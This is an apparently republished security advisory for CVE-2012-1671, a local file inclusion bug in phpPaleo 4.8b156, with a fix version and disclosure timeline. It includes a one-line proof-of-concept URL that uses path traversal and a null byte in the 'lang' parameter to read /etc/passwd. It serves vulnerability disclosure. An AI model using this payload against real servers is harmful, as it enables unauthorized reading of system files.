'phpPaleo' Local File Inclusion (CVE-2012-1671)

2012-04-09T00:00:00
ID SECURITYVULNS:DOC:27899
Type securityvulns
Reporter Securityvulns
Modified 2012-04-09T00:00:00

Description

'phpPaleo' Local File Inclusion (CVE-2012-1671) Mark Stanislav - mark.stanislav@gmail.com

I. DESCRIPTION

A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.

II. TESTED VERSION

4.8b156

III. PoC EXPLOIT

http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00

IV. NOTES

  • magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work

V. SOLUTION

Upgrade to 4.8b157 or above.

VI. REFERENCES

http://sourceforge.net/projects/phppaleo/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671

VII. TIMELINE

03/01/2012 - Initial vendor disclosure 03/02/2012 - Vendor patched and released an updated version 04/04/2012 - Public disclosure